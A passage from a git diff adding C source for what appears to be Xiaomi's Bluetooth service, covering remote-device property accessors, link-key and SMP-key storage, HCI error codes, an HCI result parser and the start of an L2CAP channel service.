local_csrk, 16); +} + +ble_addr_type_t device_get_address_type(bt_device_t* device) +{ + return device->remote.addr_type; +} + +void device_set_address_type(bt_device_t* device, ble_addr_type_t type) +{ + device->remote.addr_type = type; +} + +void device_set_device_type(bt_device_t* device, bt_device_type_t type) +{ + device->remote.device_type = type; +} + +bt_device_type_t device_get_device_type(bt_device_t* device) +{ + return device->remote.device_type; +} + +const char* device_get_name(bt_device_t* device) +{ + return (const char*)device->remote.name; +} + +bool device_set_name(bt_device_t* device, const char* name) +{ + if (!strncmp(device->remote.name, name, BT_REM_NAME_MAX_LEN)) { + return false; + } + + strlcpy((char*)device->remote.name, name, sizeof(device->remote.name)); + if (!strncmp(device->remote.alias, "", BT_REM_NAME_MAX_LEN)) + strlcpy((char*)device->remote.alias, name, sizeof(device->remote.alias)); + + device_set_flags(device, DFLAG_NAME_SET); + + return true; +} + +uint32_t device_get_device_class(bt_device_t* device) +{ + return device->remote.device_class; +} + +bool device_set_device_class(bt_device_t* device, uint32_t cod) +{ + if (device->remote.device_class == cod) { + return false; + } + + device->remote.device_class = cod; + return true; +} + +uint16_t device_get_uuids_size(bt_device_t* device) +{ + return device->remote.uuids.uuid_cnt; +} + +uint16_t device_get_uuids(bt_device_t* device, bt_uuid_t* uuids, uint16_t size) +{ + if (!device->remote.uuids.uuid_cnt) + return 0; + + uint16_t min = size > device->remote.uuids.uuid_cnt ? device->remote.uuids.uuid_cnt : size; + memcpy(uuids, device->remote.uuids.uuids, sizeof(bt_uuid_t) * min); + + return min; +} + +bool device_set_uuids(bt_device_t* device, bt_uuid_t* uuids, uint16_t size) +{ + bool update = true; + + if (!device->remote.uuids.uuid_cnt) + goto copy; + + /* check uuid list is equal */ + if (device->remote.uuids.uuid_cnt == size) { + bt_uuid_t* uuid1 = uuids; + for (int i = 0; i < size; i++) { + update = true; + bt_uuid_t* uuid2 = device->remote.uuids.uuids; + for (int j = 0; j < device->remote.uuids.uuid_cnt; j++) { + if (!bt_uuid_compare(uuid1, uuid2)) { + update = false; + break; + } + uuid2++; + } + uuid1++; + } + } + + if (!update) + return false; + + free(device->remote.uuids.uuids); +copy: + device->remote.uuids.uuids = malloc(sizeof(bt_uuid_t) * size); + memcpy(device->remote.uuids.uuids, uuids, sizeof(bt_uuid_t) * size); + device->remote.uuids.uuid_cnt = size; + + return true; +} + +uint16_t device_get_appearance(bt_device_t* device) +{ + return device->remote.appearance; +} + +void device_set_appearance(bt_device_t* device, uint16_t appearance) +{ + device->remote.appearance = appearance; +} + +int8_t device_get_rssi(bt_device_t* device) +{ + return device->remote.rssi; +} + +void device_set_rssi(bt_device_t* device, int8_t rssi) +{ + device->remote.rssi = rssi; +} + +const char* device_get_alias(bt_device_t* device) +{ + return (const char*)device->remote.alias; +} + +bool device_set_alias(bt_device_t* device, const char* alias) +{ + if (!strncmp(device->remote.alias, alias, BT_REM_NAME_MAX_LEN)) + return false; + + strlcpy((char*)device->remote.alias, alias, sizeof(device->remote.alias)); + return true; +} + +connection_state_t device_get_connection_state(bt_device_t* device) +{ + return device->remote.connection_state; +} + +void device_set_connection_state(bt_device_t* device, connection_state_t state) +{ + device->remote.connection_state = state; +} + +bool device_is_connected(bt_device_t* device) +{ + return device->remote.connection_state >= CONNECTION_STATE_CONNECTED; +} + +bool device_is_encrypted(bt_device_t* device) +{ + return device->remote.connection_state > CONNECTION_STATE_CONNECTED; +} + +uint16_t device_get_acl_handle(bt_device_t* device) +{ + return device->remote.acl_handle; +} + +void device_set_acl_handle(bt_device_t* device, uint16_t handle) +{ + device->remote.acl_handle = handle; +} + +bt_link_role_t device_get_local_role(bt_device_t* device) +{ + return device->remote.local_role; +} + +void device_set_local_role(bt_device_t* device, bt_link_role_t role) +{ + device->remote.local_role = role; +} + +void device_set_bond_initiate_local(bt_device_t* device, bool initiate_local) +{ + device->remote.local_initiate_bond = initiate_local; +} + +bool device_is_bond_initiate_local(bt_device_t* device) +{ + return device->remote.local_initiate_bond; +} + +bond_state_t device_get_bond_state(bt_device_t* device) +{ + return device->remote.bond_state; +} + +void device_set_bond_state(bt_device_t* device, bond_state_t state, bool is_ctkd, void* notify_change) +{ + bond_state_change_message_t* msg; + bond_state_t prev_state = device->remote.bond_state; + + if (prev_state == state) + return; + + device->remote.bond_state = state; + if (!notify_change) + return; + + msg = zalloc(sizeof(bond_state_change_message_t)); + if (!msg) { + BT_LOGE("%s malloc failed", __func__); + return; + } + + msg->device = device; + msg->previous_state = prev_state; + msg->is_ctkd = is_ctkd; + do_in_service_loop(notify_change, msg); +} + +bool device_is_bonded(bt_device_t* device) +{ + return device->remote.bond_state == BOND_STATE_BONDED; +} + +uint8_t* device_get_link_key(bt_device_t* device) +{ + return device->remote.link_key; +} + +void device_set_link_key(bt_device_t* device, bt_128key_t link_key) +{ + memcpy(device->remote.link_key, link_key, sizeof(bt_128key_t)); +} + +void device_delete_link_key(bt_device_t* device) +{ + memset(device->remote.link_key, 0, sizeof(bt_128key_t)); +} + +bt_link_key_type_t device_get_link_key_type(bt_device_t* device) +{ + return device->remote.link_key_type; +} + +void device_set_link_key_type(bt_device_t* device, bt_link_key_type_t type) +{ + device->remote.link_key_type = type; +} + +bt_link_policy_t device_get_link_policy(bt_device_t* device) +{ + return device->remote.link_policy; +} + +void device_set_link_policy(bt_device_t* device, bt_link_policy_t policy) +{ + device->remote.link_policy = policy; +} + +void device_set_le_phy(bt_device_t* device, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy) +{ + device->remote.tx_phy = tx_phy; + device->remote.rx_phy = rx_phy; +} + +void device_get_le_phy(bt_device_t* device, ble_phy_type_t* tx_phy, ble_phy_type_t* rx_phy) +{ + *tx_phy = device->remote.tx_phy; + *rx_phy = device->remote.rx_phy; +} + +static void device_get_remote_uuids(bt_device_t* device, remote_device_properties_t* prop) +{ + bt_uuid_t* uuids; + uint8_t count_uuid16 = 0; + uint8_t count_uuid128 = 0; + uint8_t* uuids_prop = prop->uuids; + uint8_t* p = NULL; + uint8_t* q = NULL; + bt_uuid_t bt_uuid128_base = { + .type = BT_UUID128_TYPE, + .val.u128 = { 0xFB, 0x34, 0x9B, 0x5F, 0x80, 0x00, 0x00, 0x80, + 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 } + }; + + if (device->remote.uuids.uuid_cnt == 0) { + BT_LOGD("%s, No uuids found", __func__); + return; + } + + uuids = device->remote.uuids.uuids; + + for (int i = 0; i < device->remote.uuids.uuid_cnt; i++) { + switch ((uuids + i)->type) { + case BT_UUID16_TYPE: + count_uuid16++; + break; + case BT_UUID32_TYPE: + break; // TODO: Save 32bit uuid + case BT_UUID128_TYPE: { + bt_uuid_t tmp = { 0 }; + int result = -1; + + memcpy(&tmp, uuids + i, sizeof(bt_uuid_t)); + tmp.val.u128[12] = 0x00; + tmp.val.u128[13] = 0x00; + result = bt_uuid_compare(&tmp, &bt_uuid128_base); + if (result != 0) { + count_uuid128++; + break; + } else if ((uuids + i)->val.u128[14] == 0x00 && (uuids + i)->val.u128[15] == 0x00) { + count_uuid16++; + } + + break; + } + + default: + break; + } + } + + if (count_uuid16 == 0 && count_uuid128 == 0) { + BT_LOGD("%s, No uuids found", __func__); + return; + } + + if (count_uuid16 > 0) { + count_uuid16 = count_uuid16 * 2 + 1 > CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN ? (CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN - 1) / 2 : count_uuid16; + *uuids_prop = (BT_HEAD_UUID16_TYPE << 5 | count_uuid16) & 0x7F; + } + + if (count_uuid128 > 0) { + if (count_uuid16 > 0) { + count_uuid128 = count_uuid128 * 16 + 1 > CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN - count_uuid16 * 2 + 1 ? (CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN - count_uuid16 * 2 - 2) / 16 : count_uuid128; + *(uuids_prop + count_uuid16 * 2 + 1) = (BT_HEAD_UUID128_TYPE << 5 | count_uuid128) & 0x7F; + } else { + count_uuid128 = count_uuid128 * 16 + 1 > CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN ? (CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN - 1) / 16 : count_uuid128; + *(uuids_prop) = (BT_HEAD_UUID128_TYPE << 5 | count_uuid128) & 0x7F; + } + } + + if (count_uuid16 > 0) { + p = uuids_prop + 1; + } + + if (count_uuid128 > 0) { + q = uuids_prop + count_uuid16 * 2 + 2; + } + + for (int i = 0; i < device->remote.uuids.uuid_cnt && ((count_uuid16 > 0) | (count_uuid128 > 0)); i++) { + switch ((uuids + i)->type) { + case BT_UUID16_TYPE: + if (count_uuid16 > 0 && p - uuids_prop < CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN - 1) { + UINT16_TO_STREAM(p, (uuids + i)->val.u16); + count_uuid16--; + } + break; + case BT_UUID32_TYPE: + break; // TODO: Save 32bit uuid + case BT_UUID128_TYPE: { + bt_uuid_t tmp = { 0 }; + int result = -1; + + memcpy(&tmp, uuids + i, sizeof(bt_uuid_t)); + tmp.val.u128[12] = 0x00; + tmp.val.u128[13] = 0x00; + result = bt_uuid_compare(&tmp, &bt_uuid128_base); + if (result != 0) { + if (count_uuid128 > 0 && q - uuids_prop < CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN - 15) { + memcpy(q, (uuids + i)->val.u128, 16); + q += 16; + count_uuid128--; + } + + break; + } else if ((uuids + i)->val.u128[14] == 0x00 && (uuids + i)->val.u128[15] == 0x00) { + if (count_uuid16 > 0 && p - uuids_prop < CONFIG_BLUETOOTH_MAX_SAVED_REMOTE_UUIDS_LEN - 1) { + *(p++) = (uuids + i)->val.u128[BASE_UUID16_OFFSET + 1]; + *(p++) = (uuids + i)->val.u128[BASE_UUID16_OFFSET]; + count_uuid16--; + } + } + + break; + } + + default: + break; + } + } +} + +void device_get_property(bt_device_t* device, remote_device_properties_t* prop) +{ + memcpy(&prop->addr, &device->remote.addr, sizeof(bt_address_t)); + prop->addr_type = device->remote.addr_type; + strlcpy(prop->name, device->remote.name, BT_REM_NAME_MAX_LEN); + strlcpy(prop->alias, device->remote.alias, BT_REM_NAME_MAX_LEN); + prop->class_of_device = device->remote.device_class; + memcpy(prop->link_key, device->remote.link_key, 16); + prop->link_key_type = device->remote.link_key_type; + prop->device_type = device->remote.device_type; + device_get_remote_uuids(device, prop); +} + +void device_get_le_property(bt_device_t* device, remote_device_le_properties_t* prop) +{ + memcpy(&prop->addr, &device->remote.addr, sizeof(bt_address_t)); + prop->addr_type = device->remote.addr_type; + memcpy(prop->smp_key, device->remote.smp_data, 80); + prop->device_type = device->remote.device_type; + memcpy(prop->local_csrk, device->remote.local_csrk, 16); +} + +void device_set_flags(bt_device_t* device, uint32_t flags) +{ + device->flags |= flags; +} + +void device_clear_flag(bt_device_t* device, uint32_t flag) +{ + device->flags &= ~flag; +} + +bool device_check_flag(bt_device_t* device, uint32_t flag) +{ + return device->flags & flag; +} + +uint8_t* device_get_smp_key(bt_device_t* device) +{ + return device->remote.smp_data; +} + +void device_set_smp_key(bt_device_t* device, uint8_t* smp_key) +{ + device_set_flags(device, DFLAG_LE_KEY_SET); + memcpy(device->remote.smp_data, smp_key, sizeof(device->remote.smp_data)); +} + +void device_delete_smp_key(bt_device_t* device) +{ + device_clear_flag(device, DFLAG_LE_KEY_SET); + memset(device->remote.smp_data, 0, sizeof(device->remote.smp_data)); +} + +static int linkkey_dump(bt_device_t* device, char* str) +{ + uint8_t* lk = device->remote.link_key; + uint8_t type = device->remote.link_key_type; + + return sprintf(str, "%02x | %02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X", + type, lk[0], lk[1], lk[2], lk[3], lk[4], lk[5], lk[6], lk[7], lk[8], lk[9], lk[10], + lk[11], lk[12], lk[13], lk[14], lk[15]); +} + +void device_dump(bt_device_t* device) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + char link_key_str[40] = { 0 }; + char uuid_str[40] = { 0 }; + + bt_addr_ba2str(&device->remote.addr, addr_str); + printf("device: %s\n", addr_str); + printf("\tName: %s\n", device->remote.name); + printf("\tAlias: %s\n", device->remote.alias); + printf("\tClass: 0x%08" PRIx32 "\n", device->remote.device_class); + printf("\tType: %d\n", device->remote.device_type); + printf("\tTransport: %d\n", device->remote.transport); + printf("\tRssi: %d\n", device->remote.rssi); + printf("\tBondState: %d\n", device->remote.bond_state); + printf("\tConnState: %d\n", device->remote.connection_state); + printf("\tisEnc: %d\n", device_is_encrypted(device)); + linkkey_dump(device, link_key_str); + printf("\tLinkkey: %s\n", link_key_str); + if (device->remote.uuids.uuid_cnt) { + printf("\tUUIDs:\n"); + bt_uuid_t* uuid = device->remote.uuids.uuids; + for (int i = 0; i < device->remote.uuids.uuid_cnt; i++) { + bt_uuid_to_string(uuid, uuid_str, 40); + printf("\t\tuuid[%-2d]: %s\n", i, uuid_str); + uuid++; + } + } +} diff --git a/service/src/device.h b/service/src/device.h new file mode 100644 index 0000000000000000000000000000000000000000..e34788c5eba2fdaf9d8911518a3f02fa4b44080d --- /dev/null +++ b/service/src/device.h @@ -0,0 +1,91 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __REMOTE_DEVICE_H__ +#define __REMOTE_DEVICE_H__ + +#include "bluetooth_define.h" +#include "bt_list.h" + +#define DFLAG_NAME_SET (1 << 0) +#define DFLAG_GET_RMT_NAME (1 << 1) +#define DFLAG_ALIAS_SET (1 << 2) +#define DFLAG_LINKKEY_SET (1 << 3) +#define DFLAG_WHITELIST_ADDED (1 << 4) +#define DFLAG_CONNECTED (1 << 5) +#define DFLAG_BONDED (1 << 6) +#define DFLAG_LE_KEY_SET (1 << 7) + +typedef struct bt_device bt_device_t; + +bt_device_t* br_device_create(bt_address_t* addr); +bt_device_t* le_device_create(bt_address_t* addr, ble_addr_type_t addr_type); +void device_delete(bt_device_t* device); +bt_transport_t device_get_transport(bt_device_t* device); +bt_address_t* device_get_address(bt_device_t* device); +bt_address_t* device_get_identity_address(bt_device_t* device); +void device_set_identity_address(bt_device_t* device, bt_address_t* addr); +uint8_t* device_get_local_csrk(bt_device_t* device); +void device_set_local_csrk(bt_device_t* device, const uint8_t* local_csrk); +ble_addr_type_t device_get_address_type(bt_device_t* device); +void device_set_address_type(bt_device_t* device, ble_addr_type_t type); +void device_set_device_type(bt_device_t* device, bt_device_type_t type); +bt_device_type_t device_get_device_type(bt_device_t* device); +const char* device_get_name(bt_device_t* device); +bool device_set_name(bt_device_t* device, const char* name); +uint32_t device_get_device_class(bt_device_t* device); +bool device_set_device_class(bt_device_t* device, uint32_t cod); +uint16_t device_get_uuids_size(bt_device_t* device); +uint16_t device_get_uuids(bt_device_t* device, bt_uuid_t* uuids, uint16_t size); +bool device_set_uuids(bt_device_t* device, bt_uuid_t* uuids, uint16_t size); +uint16_t device_get_appearance(bt_device_t* device); +void device_set_appearance(bt_device_t* device, uint16_t appearance); +int8_t device_get_rssi(bt_device_t* device); +void device_set_rssi(bt_device_t* device, int8_t rssi); +const char* device_get_alias(bt_device_t* device); +bool device_set_alias(bt_device_t* device, const char* alias); +connection_state_t device_get_connection_state(bt_device_t* device); +void device_set_connection_state(bt_device_t* device, connection_state_t state); +bool device_is_connected(bt_device_t* device); +bool device_is_encrypted(bt_device_t* device); +uint16_t device_get_acl_handle(bt_device_t* device); +void device_set_acl_handle(bt_device_t* device, uint16_t handle); +bt_link_role_t device_get_local_role(bt_device_t* device); +void device_set_local_role(bt_device_t* device, bt_link_role_t role); +void device_set_bond_initiate_local(bt_device_t* device, bool initiate_local); +bool device_is_bond_initiate_local(bt_device_t* device); +bond_state_t device_get_bond_state(bt_device_t* device); +void device_set_bond_state(bt_device_t* device, bond_state_t state, bool is_ctkd, void* notify_change); +bool device_is_bonded(bt_device_t* device); +uint8_t* device_get_link_key(bt_device_t* device); +void device_set_link_key(bt_device_t* device, bt_128key_t link_key); +void device_delete_link_key(bt_device_t* device); +bt_link_key_type_t device_get_link_key_type(bt_device_t* device); +void device_set_link_key_type(bt_device_t* device, bt_link_key_type_t type); +bt_link_policy_t device_get_link_policy(bt_device_t* device); +void device_set_link_policy(bt_device_t* device, bt_link_policy_t policy); +void device_set_le_phy(bt_device_t* device, ble_phy_type_t tx_phy, ble_phy_type_t rx_phy); +void device_get_le_phy(bt_device_t* device, ble_phy_type_t* tx_phy, ble_phy_type_t* rx_phy); +void device_get_property(bt_device_t* device, remote_device_properties_t* prop); +void device_set_flags(bt_device_t* device, uint32_t flags); +void device_clear_flag(bt_device_t* device, uint32_t flag); +bool device_check_flag(bt_device_t* device, uint32_t flag); +uint8_t* device_get_smp_key(bt_device_t* device); +void device_set_smp_key(bt_device_t* device, uint8_t* smp_key); +void device_delete_smp_key(bt_device_t* device); +void device_get_le_property(bt_device_t* device, remote_device_le_properties_t* prop); +void device_dump(bt_device_t* device); + +#endif /* __REMOTE_DEVICE_H__ */ \ No newline at end of file diff --git a/service/src/hci_error.h b/service/src/hci_error.h new file mode 100644 index 0000000000000000000000000000000000000000..04601fa1021ae90173540a17dac38eb1e137463b --- /dev/null +++ b/service/src/hci_error.h @@ -0,0 +1,89 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HCI_ERROR_H__ +#define __HCI_ERROR_H__ + +typedef enum { + HCI_SUCCESS = 0x00, + HCI_ERR_UNKNOWN_HCI_COMMAND = 0x01, + HCI_ERR_UNKNOWN_CONNECTION_IDENTIFIER = 0x02, + HCI_ERR_HARDWARE_FAILURE = 0x03, + HCI_ERR_PAGE_TIMEOUT = 0x04, + HCI_ERR_AUTHENTICATION_FAILURE = 0x05, + HCI_ERR_PIN_OR_KEY_MISSING = 0x06, + HCI_ERR_MEMORY_CAPACITY_EXCEEDED = 0x07, + HCI_ERR_CONNECTION_TIMEOUT = 0x08, + HCI_ERR_CONNECTION_LIMIT_EXCEEDED = 0x09, + HCI_ERR_SYNCHRONOUS_CONNECTION_LIMIT_TO_A_DEVICE_EXCEEDED = 0x0a, + HCI_ERR_ACL_CONNECTION_ALREADY_EXISTS = 0x0b, + HCI_ERR_COMMAND_DISALLOWED = 0x0c, + HCI_ERR_CONNECTION_REJECTED_LIMITED_RESOURCES = 0x0d, + HCI_ERR_CONNECTION_REJECTED_SECURITY_REASONS = 0x0e, + HCI_ERR_CONNECTION_REJECTED_UNACCEPTABLE_BD_ADDR = 0x0f, + HCI_ERR_CONNECTION_ACCEPT_TIMEOUT_EXCEEDED = 0x10, + HCI_ERR_UNSUPPORTED_FEATURE_OR_PARAMETER_VALUE = 0x11, + HCI_ERR_INVALID_HCI_COMMAND_PARAMETERS = 0x12, + HCI_ERR_REMOTE_USER_TERMINATED_CONNECTION = 0x13, + HCI_ERR_REMOTE_TERMINATED_CONNECTION_LOW_RESOURCES = 0x14, + HCI_ERR_REMOTE_TERMINATED_CONNECTION_POWER_OFF = 0x15, + HCI_ERR_CONNECTION_TERMINATED_BY_LOCAL_HOST = 0x16, + HCI_ERR_REPEATED_ATTEMPTS = 0x17, + HCI_ERR_PAIRING_NOT_ALLOWED = 0x18, + HCI_ERR_UNKNOWN_LMP_PDU = 0x19, + HCI_ERR_UNSUPPORTED_REMOTE_OR_LMP_FEATURE = 0x1a, + HCI_ERR_SCO_OFFSET_REJECTED = 0x1b, + HCI_ERR_SCO_INTERVAL_REJECTED = 0x1c, + HCI_ERR_SCO_AIR_MODE_REJECTED = 0x1d, + HCI_ERR_INVALID_LMP_PARAMETERS = 0x1e, + HCI_ERR_UNSPECIFIED_ERROR = 0x1f, + HCI_ERR_UNSUPPORTED_LMP_PARAMETER_VALUE = 0x20, + HCI_ERR_ROLE_CHANGE_NOT_ALLOWED = 0x21, + HCI_ERR_LMP_OR_LL_RESPONSE_TIMEOUT = 0x22, + HCI_ERR_LMP_ERROR_TRANSACTION_COLLISION = 0x23, + HCI_ERR_LMP_PDU_NOT_ALLOWED = 0x24, + HCI_ERR_ENCRYPTION_MODE_NOT_ACCEPTABLE = 0x25, + HCI_ERR_LINK_KEY_CANNOT_BE_CHANGED = 0x26, + HCI_ERR_REQUESTED_QOS_NOT_SUPPORTED = 0x27, + HCI_ERR_INSTANT_PASSED = 0x28, + HCI_ERR_PAIRING_WITH_UNIT_KEY_NOT_SUPPORTED = 0x29, + HCI_ERR_DIFFERENT_TRANSACTION_COLLISION = 0x2a, + HCI_ERR_QOS_UNACCEPTABLE_PARAMETER = 0x2c, + HCI_ERR_QOS_REJECTED = 0x2d, + HCI_ERR_CHANNEL_ASSESSMENT_NOT_SUPPORTED = 0x2e, + HCI_ERR_INSUFFICIENT_SECURITY = 0x2f, + HCI_ERR_PARAMETER_OUT_OF_MANDATORY_RANGE = 0x30, + HCI_ERR_ROLE_SWITCH_PENDING = 0x32, + HCI_ERR_RESERVED_SLOT_VIOLATION = 0x34, + HCI_ERR_ROLE_SWITCH_FAILED = 0x35, + HCI_ERR_EXTENDED_INQUIRY_RESPONSE_TOO_LARGE = 0x36, + HCI_ERR_SIMPLE_PAIRING_NOT_SUPPORTED_BY_HOST = 0x37, + HCI_ERR_HOST_BUSY_PAIRING = 0x38, + HCI_ERR_CONNECTION_REJECTED_NO_SUITABLE_CHANNEL_FOUND = 0x39, + HCI_ERR_CONTROLLER_BUSY = 0x3a, + HCI_ERR_UNACCEPTABLE_CONNECTION_PARAMETERS = 0x3b, + HCI_ERR_DIRECTED_ADVERTISING_TIMEOUT = 0x3c, + HCI_ERR_CONNECTION_TERMINATED_DUE_TO_MIC_FAILURE = 0x3d, + HCI_ERR_CONNECTION_FAILED_TO_BE_ESTABLISHED = 0x3e, + HCI_ERR_MAC_CONNECTION_FAILED = 0x3f, + HCI_ERR_COARSE_CLOCK_ADJUSTMENT_REJECTED_BUT_WILL_TRY_TO_ADJUST_USING_CLOCK_DRAGGING = 0x40, + HCI_ERR_TYPE0_SUBMAP_NOT_DEFINED = 0x41, + HCI_ERR_UNKNOWN_ADVERTISING_IDENTIFIER = 0x42, + HCI_ERR_LIMIT_REACHED = 0x43, + HCI_ERR_OPERATION_CANCELLED_BY_HOST = 0x44, + HCI_ERR_PACKET_TOO_LONG = 0x45 +} hci_error_t; + +#endif /* __HCI_ERROR_H__ */ \ No newline at end of file diff --git a/service/src/hci_parser.c b/service/src/hci_parser.c new file mode 100644 index 0000000000000000000000000000000000000000..fd33fdf68fb484787323a88d76a3cf284b4bf8c1 --- /dev/null +++ b/service/src/hci_parser.c @@ -0,0 +1,51 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "hci_parser" + +#include <assert.h> + +#include "hci_parser.h" +#include "utils/log.h" + +hci_error_t hci_get_result(bt_hci_event_t* event) +{ + hci_error_t result = HCI_ERR_UNSPECIFIED_ERROR; + bt_hci_event_command_complete_t* cmd_complete_ev; + bt_hci_event_command_status_t* cmd_status_ev; + + assert(event); + + switch (event->evt_code) { + case HCI_EV_COMMAND_COMPLETE: + cmd_complete_ev = (bt_hci_event_command_complete_t*)(event->params); + result = cmd_complete_ev->return_param[0]; + break; + + case HCI_EV_COMMAND_STATUS: + cmd_status_ev = (bt_hci_event_command_status_t*)(event->params); + result = cmd_status_ev->status; + + /* A success in Command Status event indicates a command is pending rather than success. */ + + break; + + default: + BT_LOGW("Unexpected event code: 0x%0x", event->evt_code); + break; + } + + return result; +} \ No newline at end of file diff --git a/service/src/hci_parser.h b/service/src/hci_parser.h new file mode 100644 index 0000000000000000000000000000000000000000..e8365db8f576ba0d02dccfaa2371f6e089b7156d --- /dev/null +++ b/service/src/hci_parser.h @@ -0,0 +1,41 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __HCI_PARSER_H__ +#define __HCI_PARSER_H__ + +#include "bluetooth.h" +#include "hci_error.h" + +typedef enum { + HCI_EV_COMMAND_COMPLETE = 0x0E, + HCI_EV_COMMAND_STATUS = 0x0F, +} hci_event_code_t; + +typedef struct __attribute__((packed)) { + uint8_t num_packets; + uint16_t opcode; + uint8_t return_param[0]; /* variable length */ +} bt_hci_event_command_complete_t; + +typedef struct __attribute__((packed)) { + uint8_t status; + uint8_t num_packets; + uint16_t opcode; +} bt_hci_event_command_status_t; + +hci_error_t hci_get_result(bt_hci_event_t* event); + +#endif /* __HCI_PARSER_H__ */ \ No newline at end of file diff --git a/service/src/l2cap_service.c b/service/src/l2cap_service.c new file mode 100644 index 0000000000000000000000000000000000000000..6a7493d463bf6f6f0ea9c7a20fa9431691e394f0 --- /dev/null +++ b/service/src/l2cap_service.c @@ -0,0 +1,1078 @@ +/**************************************************************************** + * Copyright (C) 2024 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#define LOG_TAG "L2CAP" +/**************************************************************************** + * Included Files + ****************************************************************************/ +// stdlib +#include <stddef.h> +#include <stdint.h> +#include <stdlib.h> +// nuttx +#include <debug.h> +// libuv +#include "uv.h" + +#include "adapter_internel.h" +#include "bluetooth.h" +#include "euv_pipe.h" +#include "index_allocator.h" +#include "l2cap_service.h" +#include "sal_l2cap_interface.h" +#include "service_loop.h" +#include "utils/log.h" + +/**************************************************************************** + * Pre-processor Definitions + ****************************************************************************/ +/** + * \def Check adapter is enabled + */ +#define CHECK_ADAPTER_ENABLED(ret) \ + do { \ + if (!adapter_is_le_enabled()) \ + return ret; \ + } while (0) + +/** + * \def L2CAP connection maximum limitation + */ +#define L2CAP_CHANNEL_MAX_NUM 20 + +/** + * \def L2CAP socket server pipe name prefix + */ +#define L2CAP_SRVPIPE_NAME_PREF "l-srvpipe" + +/** + * \def L2CAP socket pipe default read size + */ +#define L2CAP_PIPE_DEF_READ_SIZE 1024 + +/** + * \def L2CAP LE Dynamic PSM number limitation + * + * \note 0x0080 ~ 0x00FF is for L2CAP LE Dynamic PSM + */ +#define L2CAP_LE_DYNAMIC_PSM_NUM 64 + +/** + * \def L2CAP Dynamic PSM bit mask + */ +#define PSM_BIT_MASK(psm) (1ULL << (psm - LE_PSM_DYNAMIC_MIN)) + +/** + * \def L2CAP Tx SDU watermark + */ +#define L2CAP_TX_QUOTA 16 + +/**************************************************************************** + * Private Types + ****************************************************************************/ +typedef enum { + L2CAP_CHANNEL_ROLE_SERVER_LISTEN, + L2CAP_CHANNEL_ROLE_SERVER_ACCEPT, + L2CAP_CHANNEL_ROLE_CLIENT, +} l2cap_channel_role_t; + +typedef struct { + bt_address_t addr; + bt_transport_t transport; + uint16_t local_cid; + uint16_t remote_cid; + uint16_t psm; + l2cap_endpoint_param_t incoming; + l2cap_endpoint_param_t outgoing; + uint16_t tx_mtu; + uint16_t tx_quota; + uint16_t id; + l2cap_channel_role_t role; + bool channel_connected; + euv_pipe_t* pipe; + char proxy_name[16]; + bool proxy_connected; + remote_callback_t* app_handle; +} l2cap_channel_t; + +typedef struct { + callbacks_list_t* callbacks; + bt_list_t* channel_list; + index_allocator_t* id_allocator; // allocate id + uint64_t psm_map; + pthread_mutex_t l2cap_lock; + +} l2cap_manager_t; + +typedef struct { + enum { + CID_ALLOCATED_EVT, + CHANNEL_CONNECTED_EVT, + CHANNEL_DISCONNECTED_EVT, + PACKET_RECEVIED_EVT, + PACKET_SENT_EVT, + } event; + + union { + /** + * @brief CID_ALLOCATED_EVT + */ + struct cid_allocated_evt_param { + bt_address_t addr; + uint16_t psm; + uint16_t cid; + } cid_allocated; + /** + * @brief CHANNEL_CONNECTED_EVT + */ + struct channel_connected_evt_param { + bt_address_t addr; + l2cap_channel_param_t param; + } channel_connected; + + /** + * @brief 